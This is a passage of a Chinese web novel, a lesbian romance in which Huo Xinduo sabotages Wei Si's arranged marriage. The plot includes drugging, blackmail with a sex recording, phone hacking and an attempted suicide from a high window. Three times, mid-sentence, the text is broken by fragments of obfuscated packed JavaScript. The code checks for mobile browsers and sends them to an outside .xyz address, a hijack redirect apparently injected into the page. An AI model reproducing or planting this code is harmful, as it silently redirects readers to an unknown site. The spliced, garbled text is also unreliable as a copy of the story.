“思思……”霍心夺愣在门口,怎么也没想到危思会主动来找她。 “我来拿笔记,”危思忍下恼怒,淡淡道,“烟和槟榔是怎么回事?” 谁也没开灯,出租屋光线不好,窗外偶或驶过几辆车,车灯透过玻璃映照在危思脸上,照得那颗冷冷淡淡的痣一下子温暖鲜活起来。 霍心夺看得有些呆了,一时忘了出声,落在危思眼里,便是她三缄其口、不欲多言。 见她如此,危思不再盘问,起身便走。 霍心夺连忙回过神来,堵在门口不肯让路,委屈道:“你不理我!我给你发了好多消息你不回!找你你也臭着脸!” “我能怎么办!”她带着哭腔,指着桌子上大包的零食,“怎么吃心里还是空的,没办法给我安全感,哪怕一点点,都没有!” “所以这些能满足你的安全感?还是能缓解难受?”危思指着垃圾桶又急又气,声音也提高了些。 “……多少能缓解……一点点。”霍心夺声音渐渐小下去,底气不足道。 车开走了,屋里又暗下来。 危思深呼吸几番,哆嗦着手一点点解开自己的衬衫扣子,然后是胸衣。 她把衣服甩在床上,平静又强压着愤怒,对霍心夺说: “来,你不就是想要这个吗?” 霍心夺就是再没眼色也知道危思真生气了,快步走上去给她披上外套。 然后她抱住危思,哽咽道:“我知道错了,思思,你别这样。” 危思任她抱着,还是不说话。 “那些我都戒,”霍心夺继续自我检讨,又恳求道,“下周末我准备了礼物要送你,到时候你一定要来,好不好?” “老大!危思杀来了——” 霍心夺被杨彩吓得一激灵,她从臂弯里抬起头,睁着双熊猫眼往门口看。 “没涮你,”杨彩以百米冲刺的速度奔向她工位,“估计还有两层电梯就到了。” “你咋知道?”霍心夺问。 杨彩直接给她看微信界面,赫然是吕浩一在群里的哀嚎。 -姑奶奶们,猜我碰着谁了 -危思!! -冷着个脸跟制冰机似的,站她旁边好凉快 -即将抵达战场 霍心夺捂着头晃了晃,连续996了几天、严重缺乏睡眠的脑袋终于开机,想起来她和危思发生了些不愉快。 她打开手机,好多条来自危思的未接来电,看得眼晕。 “我可能是疯了。”她喃喃道。 危思进门只看了霍心夺一眼就蹙起了眉,问:“你在忙什么?” 怎么会搞成这个样子。 损友们都自动自觉地人间蒸发了,除了霍心夺没人能回答她。 不过几日不见,无声的隔阂如一把利剑,伴随着压抑着的不安,在两个人之间划下一道天堑。 “卷卷,”危思神色难得有些迟疑,忽然发觉自己做错了事,“我……” “我啊,”霍心夺嘿嘿笑了两声打断她,“当然在忙重要的事。” 关于危思结婚的事儿,要说霍心夺什么手脚都没做? 那也不能完全这么说。 时间倒回婚礼前三天。 呲啦—— 霍心夺拉开窗帘,等着男人醒来。 刺眼的阳光晃了男人的眼,他捂着头爬起身,下一刻又捂住身体,慌乱地拿被子遮掩。 “别藏着了,该见的都见过了。”霍心夺笑着看他,“司诺是吧?预祝你和思思,新婚愉快啊。” “……昨晚除了你,还有别人?”司诺看着床头柜上的水杯,头痛欲裂。 该死,那药是下给霍心夺的,他怎么也跟着喝了。 “啊,就咱俩多没意思,我又叫了个人。”霍心夺坦然承认。 “昨晚还愉快吧?”她看着这男人的脸,泛出些恶心感,然而脸上还是笑着的,“你喝多了,还说想尽快控制思思,好吃绝户啊?” 男人脸一下子煞白。 “没关系,我们不谋而合呢,”霍心夺眼睛弯出一个讨喜的弧度,惋惜道,“可惜思思她妈发现了,找了个你来打断我的计划。” “我们合作吧?”她手指上勾着个小小的u盘,半带威胁道,“你老老实实的,跟外面那些女人都断了,别传出点儿什么不好听的新闻。” 司诺不可置信地看向她,愣了会儿也笑了,“我凭什么跟你合作?” “就凭这个,”霍心夺拍拍他的脸,拿出手机给他看了几张照片,“你假意对夏娟言听计从,她又能分你多少财产?这要是让危生和思思看见了,保你吃不了兜着走。” 司诺猛地起身去抢,霍心夺不躲不避,任他拿走手机和u盘。 他突然醒悟过来抢了也没用,这女人肯定有备份。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720343|157188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我答应你,你说话算话么?”司诺心里盘算着事后再吞了霍心夺那份的可能性。 “别打歪主意啊,”霍心夺像是看穿他内心所想,靠近他耳边轻声道,“告诉你个秘密,天河的杨总知道吧?那是我干妈。” 司诺瞳孔骤缩,这是比危家还显赫的背景…… 离开酒店后,霍心夺动身前往一个私密性极高的私人咖啡馆。 夏娟和她面对面坐着,抿了口咖啡,慢条斯理的问:“让你办的事怎么样了?” 这不是夏娟第一次约她出来了。 上次是告诉她危思结婚的消息,顺便威逼利诱自己闺女前女友和准姑爷滚个床单。 这脑子被驴踢了的事儿也就夏娟能干出来。 那时霍心夺本来想把咖啡泼她脸上,思索一会儿竟觉得这是个好主意。 顺水推舟的好主意。 她早就不是那个谁都能来踩两脚的小孩儿了,可她也想看看,和思思走入婚姻殿堂的男人,是个什么德行。 霍心夺看着杯里绿油油的奶盖,抬手就给搅匀了。 喝了几口甜得能腻死人,她索性扔在一边不喝了,随手点了根烟。 夏娟蹙眉,脸色沉下来。 “姑爷的男性功能区疲软无力,时间有点短,”霍心夺掸了掸烟灰,可劲儿埋汰着司诺,“我估摸着姑爷的新婚之夜,顶多三分钟。” 这都捡好听说的,能硬起来都算她输。 “你现在有两个选择,”夏娟冷冷地说,“是继续和小司私下保持不正当不见光的关系,还是带着你姥姥,离开这儿再也不回来?” “感情容不下第三人,”她靠近霍心夺,语气重了些,“你应该明白。” 霍心夺再明白不过了,夏娟就是要在她和危思之间插一根刺,让她俩的破镜重圆彻底变成不可能。 是面目全非地搅在危思的生活里,还是干干净净地离开? 夏娟又道:“你姥姥年纪大了,咱们这儿的人,都讲究一个落叶归根。” 谈到这儿其实没什么话可说了,霍心夺深深地看夏娟一眼,心底嗤笑不已。 两个人不欢而散。 霍心夺迫不及待地回到工作室,把捂了一路的u盘插进笔记本电脑上。 “看什么呢?”杨彩扔过来一罐冰可乐。 高中小打小闹组建的乐队,如今已经小有名气,马上要出新专辑了,最近她俩拼命赶dealine,已经连轴转好几天了。 霍心夺扬手接了,漫不经心地启开易拉环,招呼杨彩过来一起看。 “……你口味真是重,”杨彩看了一眼立马转头回了自己工位,“不怕长针眼啊?” 霍心夺不需要人理解,她饶有兴致地看了会儿屏幕里不堪入目的画面,赫然是司诺和一男一女滚床单的场景。 拜那几瓶药物过量的红酒所赐,司诺一直以为那晚她也加入了。 她脑袋让门夹了也不会跟他搞七搞八,不过是雇了两个人陪他玩玩。 当时他们滚做一团,霍心夺随手扯了把椅子坐下,就在房间里看着,旁边架着台摄像机。 明明那场景恶心得要命,她却有种诡异的兴奋感,天灵盖像是被灌了十斤风油精,整个人笑得停不下来。 想当初这男人勾搭她的时候,还装了几天君子,实在是太可笑了。 等他清醒发现自己被搞得短时间不举,脸色必定很精彩。 床上传来断断续续的叫声,霍心夺把腕上发圈摘下来,好整以暇地放进包里。 笑够了,疲惫和悲伤止不住地涌上她心头。 她的思思,那么好的思思—— 居然要和这样一个男人结婚。 5. 大大真老虎 想到这里,霍心夺霍然起身,用脚把司诺的包踢过来,飞快地在里面翻找着什么。 东西呢?怎么找不到? 司诺今天本来要和危思去民政局的,他的身份证和户口簿都在公文包里。 这么重要的日子,霍心夺求都求不来的日子,结果这个狗男人一个电话就被勾过来了。 霍心夺一瞬间怒火中烧,拎着包去了卫生间,疯狂地把东西往外倒。 要找的东西终于弹跳出来,她把它们捡起来,用力地攥在手心。 过了会儿,她拨通那个烂熟于心的号码。 “卷卷?”电话很快被接通。 霍心夺没说话,怒火渐渐消退,取而代之的是说不上来的委屈。 危思又叫了她几声,霍心夺一句也没应。 她怕开口是哭腔,这太丢人了。 小时候危思不肯在别人面前脱下那件好看却不舒服的裙子,长大了也不肯承认自己是个同性恋而选择结婚。 她绝不承认,她辛苦伪装出来的壳子,其实一点儿也不舒服。 年幼时霍心夺可以替她剪掉磨红皮肤的标签,找姥姥给她改不合身的衣服,让她有卸下伪装喘息的时间。 长大了呢? 长大了也一样。 这些源于原生家庭、与生俱来的偏执和焦虑,随着危思年龄增长,不减反增。 她发现危思又捡起了曾经那些药物,凭此维持睡眠和正常情绪。 霍心夺懂她,心疼她,所以选择成全她。 屋内叫声、肉.体.碰撞声越来越大,电话另一头的危思敏锐地捕捉到不对劲,有点急了:“卷卷,你到底怎么了?” “思思,这些真的是你想要的吗?”霍心夺开口道,嗓子有些说不出来话,“这样你就不难受了吗?” 她自己痛着,也替危思痛着。 危思那边儿安静得像是睡着了,过了不知道多久,霍心夺终于听到她的回答。 “我不知道,”危思说得很慢,“我还是睡不着。” “行吧,你猜猜司诺在哪儿呢?”霍心夺说。 “卷卷,”危思沉默良久,“你不要这样。” “我也睡不着,”霍心夺站得腿麻,捏着打火机蹲了下来,“我一想到你要结婚,就合不上眼。” “你觉得完美人生就该有婚姻,那后面十几年呢?你是不是也觉得该有个孩子?” “当然了,孩子也得优秀,然后这一生也就到头了。” “是这样吗?那我呢?如果我不完美,你还爱我吗?” 霍心夺越说越眼圈发红,索性挂了电话,把司诺的户口本和身份证一并拿打火机点了。 她看着火燃烧起来,心中畅快不少。 床上运动接近尾声,霍心夺纡尊降贵地把灰烬收拾起来冲进马桶。 然后她细细地洗了几遍手,重新把发圈套回手腕上。 新专辑卖的相当火爆,乐队这几个人平时没事都得想出点借口搓一顿,这种情况更要好好庆祝了。 这帮损人太能喝,连续庆了几天以后,霍心夺实在受不了了。 再借酒浇愁也不是这么个愁法,危思要是知道她这样必定会生气的。 “啥?”杨彩接了个电话,捂住话筒道,“改天约改天约,我们马上收尾了……” 她挂了电话,张望了一圈儿,指着吕浩一小声骂:“就赖你嗓门最大,隔几个包厢是雾里那帮人,他们也聚餐呢,听到咱们声音了非要过来!” “走了走了。”霍心夺立马起身开溜。 杨彩拉她坐下:“没事,我打发走了,不能来了。” “他们还没放弃签约呢,哇,我们魅力这么大吗?”有个姑娘纳闷道。 “这哪是想签约啊?”吕浩一话头一转,促狭地看向霍心夺,“我看那厂牌主理人是想要心夺的卖身契——” 大家心照不宣地笑起来,霍心夺桌下狠狠踢他一脚。 “雌风不减当年,”吕浩一给她比了个大拇指,“对兄弟下手还是一如既往地重啊。” “我什么时候对你下过狠手?”霍心夺挑了挑眉疑惑道。 “这你都不记得了?”吕浩一指了指额头,“高中有节体育课,我踢球不小心砸到你,你对我进行了无情的回击。” 这么一说霍心夺想起来了,是有这么个事。 说起来和危思也有关系。 有了危思的参与,那只小小的纸老虎——霍心夺的少年时代愉快地收尾。 后来她有了很多朋友,危思始终是最特别的。 她不算迟钝,十几岁的时候就意识到自己对危思的感情不太一样。 上了高中,身边的早恋小情侣一对接一对,比雨后春笋冒得还快。 霍心夺面上不显,私底下变本加厉,仗着好朋友的名义赖在危思身边严加看管。 晚课课间,她躺在危思的腿上扒着桌洞掏来掏去。 掏半天真让她掏到个好东西—— 一封黄色的情书。 霍心夺拆开草草看了一遍,落款写着吕浩一的名字,通篇都是不知道从哪儿摘抄来的酸言酸语。 “这个狗东西!”她咬牙切齿把这封信团吧团吧扔进垃圾桶,“我把他当兄弟,他惦记我姐妹!狗东西!!!” 她一个鲤鱼打挺就要去找吕浩一算账,却被危思按住脑门,一下子像被按住了命门。 “怎么!你也喜欢他啊!”霍心夺怒道,“以前别人给你情书你从来不收!怎么还留着这封啊!” 危思抬了抬眉毛:“也?” “你要是喜欢他,”危思放下笔,轻声道,“我不会和你抢。” 霍心夺一听这话,心像是被人狠狠攥了一把。 思思喜欢吕浩一。 这个认知让她冒出了从未有过的恐慌,脑子里的阴暗念头争前恐后地往外爬。 不能让他们在一起。 “是啊,真巧,”霍心夺调整自己的呼吸,展了个笑出来,“我也喜欢他。” 危思长得好,鼻梁侧边有颗圆圆的小痣,垂着眼看人时,平白多添了些冷淡的意味。 “你不是说高中不应该谈恋爱吗?”她说,“现在你要破例了?” “不破例,”霍心夺闷声道,又趴回危思腿上,“咱俩要考一个大学的呀,谁也不许分心。” “好啊,互相监督。”危思微微笑了笑。 监督就监督,霍心夺有点没底气,心想,她这算监守自盗吗? 或许吧。 同样是那年,随着年岁渐长,危思不肯再以身饲虎满足她无处安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720344|157188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放的口欲。 她哪肯罢休,逮着空就对着危思撒娇弄痴,非要讨个说法不可。 两个人讨价还价得太专心,没注意到从后侧方飞来的足球,不偏不倚砸在霍心夺头上。 “疼疼疼……”她捂着脑门儿一连串地喊。 罪魁祸首吕浩一慌张失措地跑过来,一叠声地向霍心夺道歉,手不知道该往哪儿放。 “擦破皮了啊,”危思皱起眉头,起身去了校医室,“我去拿药。” 霍心夺在危思面前卖弄着可怜,危思一走,她便眯起眼睛凶道:“哪儿凉快哪儿呆着去!” “哟,不疼了?”吕浩一瞅着霍心夺脑门上的红印笑,“这脸变得真快。” 霍心夺现在看他哪儿哪儿都不顺眼,瞄准了他脸,运足气把球使劲儿一扔。 吕浩一没躲过去,龇牙咧嘴地揉着头。 “至于么你?”他啧了一声,“给危思那情书是阿樟他们恶搞的,我真没那意思。” “最好是开玩笑,”霍心夺冷着脸走近他,“要真打我姐们主意,我让你们都吃不了兜着走。” “行行行,不说这个了,”吕浩一哥俩好似的搂过她肩膀,“一起组乐队不?贝斯和键盘都缺人。” “不。”霍心夺翻了个白眼。 霍心夺学习一般,编曲写歌词有一手。跟个野鸡师傅能自学成这样,在吕浩一看来是相当牛逼了。 他是真想拉她干这一票,就差求爷爷告奶奶了,“那主唱给你,我去键盘,反正我无所谓,考虑考虑呗。” “我再想想。”霍心夺两下把他手抖落下去,没给准信。 她打发走吕浩一,蹲在操场上等危思。 今天风不大,太阳活力十足,她偏不从荫凉处呆着,对着阳光晒得头晕目眩,也没见着危思回来。 霍心夺回教室去找,瞧见危思正襟危坐,拿着本书在看。 “我的药呢?”她委屈地坐到危思旁边。 “忘了。”危思眼皮都不抬一下。 “我都快晒中暑了,也没等着你,”霍心夺装模作样地叹气,手撑着头忧郁道,“思思你快看看我额头,居然肿了!” 这招还是好使,危思终于施舍她一眼。 脑门儿还有点红,没肿起来。 脸颊也红,不知道是晒的,还是害羞的。 危思想到自己刚刚看到的那一幕,兀自生着闷气。 霍心夺口口声声说着互相督促谁也不要早恋,结果呢? 她去校医室买个药的功夫,一转头俩人还搂上了! 危思盯着霍心夺的右肩,吕浩一的手刚刚就搭在那里。 相当碍眼。 霍心夺回到自己的座位,掏了两下,毫不意外地掏出瓶碘伏和无菌敷料贴。 她就知道危思嘴硬心软,笑嘻嘻地拿过去让危思帮她涂。 危思没拒绝,默不作声地帮她涂完药,突然来了一句:“把衣服换了吧,脏了。” 霍心夺一愣,明白危思应该是看见吕浩一搭她肩膀了。 她顺从地接过危思递过来的外套,穿上的时候心里冒出个大胆的猜测。 想了想又觉得自己可能是自作多情了。 思思这个样子,喜欢的人不像是吕浩一啊。 会是她吗? 6. 糖果造梦者 危思看着霍心夺疲惫又强忍着悲伤的模样,有种说不出来的复杂感受,一直以来固若金汤的人生观逐渐动摇。 霍心夺问过她,眼前这一切真是她想要的么? 她的人生犹如一件内里布满了虱子的华美外衣,她到底应该穿着它按部就班地走完阶梯,还是要脱下这件并不舒服的外衣? 如果没有霍心夺,她大概是要一直穿着的。 然而婚礼前后,危思内心在不停挣扎—— 她没想到霍心夺会如此痛苦。 危思视这场婚姻为合作,她和司诺各取所需,除此之外两个人没有任何干系。 她仍然不知道自己想要什么,但从未想过把霍心夺变成这样。 “没事儿,思思,”霍心夺说,“我过段时间就好了。” “给我一点时间,”危思望向她,“我会给你一个答案。” 危思离开工作室后,把司诺约了出来,地点是名义上的婚房。 “来了?”司诺递给她杯牛奶,绅士地给她拉好凳子。 夏娟也在,三个人围了桌子坐着。 “喂?对,我是……”司诺接了个电话,没说几句就挂了,纳闷道,“信号也太差了。” 今天是她们签协议的日子。 “这婚不作数了,”危思直截了当地说,“反正也没领证,协议不用签了。” 她端着牛奶凑近唇边作势欲饮,闻到味道不对,又放下了。 这点恶心人的小伎俩,危思唇边浮出一抹冷笑来。 夏娟激烈地谴责起她,司诺一言不发,在场三人各怀鬼胎。 危思充耳不闻,拿着牛奶杯把指尖捂热,专心致志地看着手机。 “你疯了?这是儿戏吗?”夏娟怒而指责道,“你说不算数就不算数?婚礼都办了,其他人会怎么看!你爸爸和我还怎么做人!” 夏娟兀自说着,危思脸色越来越难看,却不是因为她。 屋里没有信号,夏娟和司诺连了无线网,手机后台被危思轻而易举地黑进去了。 夏娟那些事还算意料之中,让她怒不可遏的是司诺那边。 吃绝户也就算了—— “哪来的脏药?除了给我,还给卷卷下过?”危思一目十行地翻着聊天记录,全身的血都在烧。 根本不用再仔细推敲,她几乎是一瞬间明白了到底是怎么回事。 司诺是个什么货色,霍心夺知道后又为她做了什么…… 霍心夺理解她、成全她,还为她选择的人生保驾护航,落上最后一把安全锁。 危思胸腔中像是有滚烫的岩浆在烧,烧穿了她的冷静自持,烧透了她的自欺欺人。 她抑制不住地愤怒,眼神飘忽地四处转着,不知道是在寻找趁手的武器,还是在找什么人。 “你别别别……生气,我没想对霍心夺做什么!她勾引我!”司诺见危思摔了花瓶捏着瓷片靠近他,平静神色下是压抑到极点的疯狂,顿时叫苦不迭,“我也是被你妈逼的,我家想要龙湾的项目……” 危思看着脚下纯白地毯上滴答滴答的血,又抬起自己的手,似乎发现了什么好玩的东西。 “真漂亮啊。”她叹息道。 夏娟早不知道去了哪儿,司诺吓得要死,跑回卧室反锁上门。 危思没管他,抖着手打开和霍心夺的对话框,血迹顺着指尖滴下去,模糊了屏幕。 她抹去屏幕上的血迹,看着聊天背景上霍心夺的照片发了会儿呆。 这是和她一起长大的卷卷,她人生中最真实、最割舍不下的一部分。 危思点了点照片上霍心夺的笑眼。 可现在,她也变成了霍心夺手腕上的疤。 从未有过的迷茫狠狠击溃了危思的心防,她站到窗边打开窗户。 潮湿的空气伴着雨点涌入肺腔,危思往下看去,她一向恐高,此刻竟觉得39楼的高度,是如此让人愉悦。 她反手把手机扔在地上,扒着窗户毫不犹豫地往外跳。 咚咚咚—— 手机弹跳着发出闷响,门外传来沉重急切的脚步声。雨下得大了,重重地扑在玻璃上,颇有种撕心裂肺的决绝。 “思思!” 霍心夺急喘了几下,踹开门冲上来,一把把转身欲跳的危思拽了下来。 情急之下用力过猛,她俩在地上滚了几圈才停下来。 危思看着霍心夺,突然笑出声来。 “思思……”霍心夺膝行几步,小心翼翼地靠近她。 危思笑得越来越大声,眼泪大滴大滴地滚下来,砸在地毯上。 地毯上血迹未干,又添了新痕迹,颜色更不堪。 “你手受伤了,先包一下,”霍心夺慌张地翻找医药箱,声音带了点哽咽,“别做傻事。” “我要是不认识你就好了,”危思喃喃道,抬眼和霍心夺对视,“卷卷……对不起。” “我和他什么都没发生,”霍心夺急忙解释,紧紧抱住她,“我自愿做这些的,我不怪你……” 危思像被扔进蒸锅蒸了几个来回,心闷闷地钝痛着,反复说着对不起。 霍心夺哭着喊:“就当是为了我活着,不行吗?你要是真跳下去了,那才是对不起我!” 她舍不得打危思,又气得要命,拿自己脑门儿用力撞危思额头。 “你知道吗卷卷,”危思清醒了些,握了握她的手,“我知道我想要什么了。” 狗屁的人生,人生下来爱怎么活怎么活,别人爱怎么看怎么看。 她就是同性恋,她就是不完美,她的家庭就是一团稀巴烂。 什么都比不上她的卷卷重要。 危思强撑着起身,从抽屉下取了串钥匙,走到司诺的卧室门口,一把接一把的试。 她恢复了往日的冷静,一把把钥匙插门上的声音,在司诺听来却像是达摩克利斯之剑掉落的前奏。 咔哒一声,钥匙对了。 门开的瞬间,司诺飞快地冲出来往门外跑。 危思不知道哪儿来的力气,追着他到电梯旁边,劈头盖脸就是一顿打。 霍心夺担心危思的手,不住地拉偏架,连往司诺身上补几脚的心思都没了。 可惜她拦不住危思,危思把冲天怒火都发泄在了司诺身上。 司诺碍着危生的面子不敢还手,抱着头生生受着。 他就不该贪图这危家的财力,也不该和那劳什子岳母合谋,更不该妄想享这齐人之福。 夏娟说的好听,娶一个送一个,他也是色迷心窍,哪他妈有这样的好事! 这俩女人都不是好相与的,司诺悔得肠子都青了。 这鸡飞狗跳的一幕被邻居们瞧见,有些好心人便想着过来劝架。 拉架的手还没伸过来,危思先出声了。 “我爸是危生,”她冷冷地看过去,“解决点私人恩怨,大家散了吧。” 一听她爸如雷贯耳般的名字,大家都散了,也收了劝架的心思。 还有那昏了头的,离开前不忘吹捧一通—— “龙生龙凤生凤,危总的女儿果然也是体魄惊人呐!” 也不知道是嘲讽还是夸奖,危思不在乎。 “你今天受的这些,如果觉得委屈,去找我妈讨要利息。”她踩着司诺的肩膀,低声缓慢道:“顺便帮我转告我妈,母女情分,就到这儿了。” “以后她要是还想伸手做什么——” “我爸孩子就我一个,小老婆倒是多得很,我不介意和她们合作,你说呢?” “对不起,”司诺叹了口气,“你的话我会带到。” 迁出户口、工作调动、换到另外一个城市生活,真正的蜕变其实只需要几个礼拜。 布置好新家那天,危思和霍心夺一起做了一桌菜,庆祝她们的新生活。 “卷卷,”危思把头靠在霍心夺的肩上,“我现在,很开心。” 她终于睡得着了。 危思为自己打造了一副量身定做的枷锁,从小到大,严丝合缝地捆在她身上,跟着她长大,叫她喘不过气。 如今终于下定决心挣脱,反倒适应良好。 “你也跟着我换了城市,会觉得辛苦吗?”她看着霍心夺。 “哎哟我的思思啊,”霍心夺把小蛇玩偶放在头顶上,苦口婆心道,“你不要想太多。” “我们乐队本来就是全国各地跑,姥姥也是天南海北地玩,不着家,我们在哪里定居都无所谓的。” 霍心夺停顿了一下,坚定地说—— “你在哪儿我就在哪儿。” “就像当初你对我说过的那样。” 听闻这话危思低头笑了笑,那是好久之前的事了,大概……是高二? 月考成绩出得很快,霍心夺趴在桌上,久久没言语。 “你去哪个大学我就去哪个,反正我都考得上,”她耐心又认真地看着霍心夺,给她抹眼泪,“别哭了卷卷。” 霍心夺闻言哭得更厉害了。 “你……你课余一直给我补习,”她抓着成绩单,眼睛红肿,“我还考成这样……呜……” 怎么劝都没用,危思咬咬牙,算是豁出去了:“晚上我去陪你住,还像以前一样,行吗?” 除了学习,霍心夺课余喜欢写歌编曲,还靠这个挣了些钱。 考上城里的高中以后,离姥姥家太远,为了不打扰别人,她用写歌挣的钱在校外租了个出租屋。 危思的暗示再明显不过,霍心夺指指自己的唇,又指指危思的胸,瞪大眼睛道:“是我想的那个意思嘛?” 这事儿已经很久没有过了。 “……是。”危思破罐子破摔道,心里松了口气,心想这下卷卷这眼泪总算是告一段落了。 霍心夺果然不哭了,把头埋在胳膊里偷偷地笑。 那天晚上霍心夺趴在危思胸口上轻轻咬她,委屈道:“思思,你变小气了。” “啊——”危思被咬得疼了,没压住喉间的惊呼,脸红得像抹过胭脂。 她扯下衣服,怒道:“这东西你又不是没有!” “我够不到自己的啊,”霍心夺贴在她身上,还要伸手去摸,被她挡住了。 “你也可以对我来呀,”霍心夺大方地掀起自己的衣服,展示给她看,“我又没说不行,是你不愿意。” 回忆和现实重合,两个人大概是都想到了这茬儿。 “我那时说得没错呀,”霍心夺把小蛇玩偶嘶嘶放在对面的椅子上,“本来就是你不愿意,我很大方的。” “是是是,你最大方了。”危思给嘶嘶也摆了副碗筷,语气轻快。 饭刚入口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720345|157188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她忽然想起个事儿。 “下周你们有巡演吧?”危思翻开台历看了看,发消息给领导请了假,“以后我陪你跑巡演。” 她现在无需用工作麻木自己,也无需再证明什么,反倒松弛了不少。 霍心夺夸张道:“哇,工作狂不是工作狂了,要蜕变了!得庆祝啊!” 危思恼羞成怒朝她扔了个玩偶,轻飘飘的,被一把接住。 “以前你百分之八十的巡演我都去,”危思说,“怎么就工作狂了?” “那你印象最深刻的是哪一场啊?”霍心夺笑道。 记忆流动起来,准确地回溯到某个锚点—— 那必定是十几年前的第一场。 彼时她们还在上高中,霍心夺送了她第一首歌。 那也是危思第一次去livehouse,坐在后台安静地看着霍心夺化妆。 吕浩一对着她挤眼睛,用气声说:“这歌,心夺打磨了好久,词曲原创都是她,特地给你准备的。” 心夺,叫得这么亲热。 “那封情书是我哥们恶搞我的,”他又想起点什么,双手合十虔诚道,“我对你俩都没那个意思,实在冒犯了,不好意思啊。” “嗯。”危思点点头,表示不在意。 见霍心夺调试好了麦克风,她也走向观众席,准备看看霍心夺披星戴月到底准备了个什么样的礼物。 不管是什么,她都喜欢。 “3——2——1” “嗒、嗒、嗒” 场子安静一瞬,所有灯光逐一关闭,聚光灯收拢在霍心夺身上,她的声音清澈如泉溪般流淌过来。 “这首歌,献给我最爱的女孩儿——” 霍心夺扬起手,打着节拍,音乐随之响起。 “我们为八月的晴空 放一颗亡命的星星 我的天域一贫如洗 你牵着手 星星不会流浪 ………… ………… 爱怎么会贫瘠 用我碌碌无为的青春 用我指给你看的那轮月亮 用老旧的电视机 用席卷而来的风 编织一个喑哑的梦 制造我 成为你” 舞台上的霍心夺夺目耀眼,蓬蓬的卷发浸着光,专注地看着台下那个她无比熟悉的人。 危思回望她,眼神从震惊到温柔释然。 霍心夺喜欢人山人海的热闹,享受欢呼和追捧,更爱危思—— 这束静默的光。 她隐在黑暗的观众席中,脸庞安静而富有力量。 像脉搏,像心跳。 她什么都不用做,只是坐在那里,便让霍心夺生出无限的勇气。 “思思,我在唱我们,你听到了吗?” 散场后霍心夺跳到台下,雀跃又忐忑地盯着危思瞧,不肯放过她任何细微的表情变化。 “嗯,我听到了。”危思笑起来,眼里带着一点泪光,凑过去轻轻吻她脸颊,“卷卷,我愿意和你一起编织这场梦。” 回到小小的出租屋,两个人久违地躺在一起,心平气和地说着话。 “原来你这段时间是在忙这个吗?”危思看着窗外倾泄而来的月光轻声道。 “嗯,那天吕浩一他们拉着我去看livehouse,当时我突然明白了我真正热爱的是什么,”霍心夺趴在枕头上,慢慢解释着,“还有一个原因,我想学音乐,走音乐特长生,分数线能低一些。” “这样你不必为了我而将就,你想去哪个大学,我能尽最大努力跟你去。” “一直没和你说,主要还是想给你个惊喜啦!”霍心夺笑嘻嘻地把头挪到危思枕头上,“然后表个白!” “后来发现你误会了,还一直生我的气,本来打算准备好礼物再去哄你,但没想到你先来找我了。” 霍心夺说着说着,和危思靠得越来越近,两个人的脸凑在一起,陷在柔软的枕头里。 狭小的空间内,呼吸发酵蒸腾成热气,一时间谁都没有再说话。 霍心夺率先打破静谧,在危思唇上轻轻落下一个吻。 直到有些呼吸不畅,她们才依依不舍地分开。 “我没有在做梦吧?”霍心夺小声问。 “没有,”危思垂下眼睛,解开胸衣的扣子,也小声问,“要来吗?” “来。”霍心夺没半点迟疑,拉上窗帘脱了衣服,一气呵成地钻进被子里,再黏黏糊糊地蹭过去。 窗帘微微抖动着,时不时传来细碎的响声,枝头的鸟雀喳喳叫了几声,扑棱着翅膀飞走了。 “想什么呢这么入迷!”霍心夺在危思眼前晃了晃手,“再不吃菜都凉啦!” “在想从前的我们呀。”危思从回忆中抽离,安静地笑笑。 “人就在你眼前,我们还有很多以后呢。”霍心夺凑过来,吻了一下危思鼻梁上的小痣,“会越来越好的。” 是啊,会越来越好的。 世间并非条条路皆为坦途,活在这个世上,就是有风吹有雨淋有日晒,不管是否情愿,人生下来必须走这么一遭。 如果有人愿意给你打伞,陪你淋雨,与你等彩虹,那么就有勇气—— 不回头,永远向前奔跑。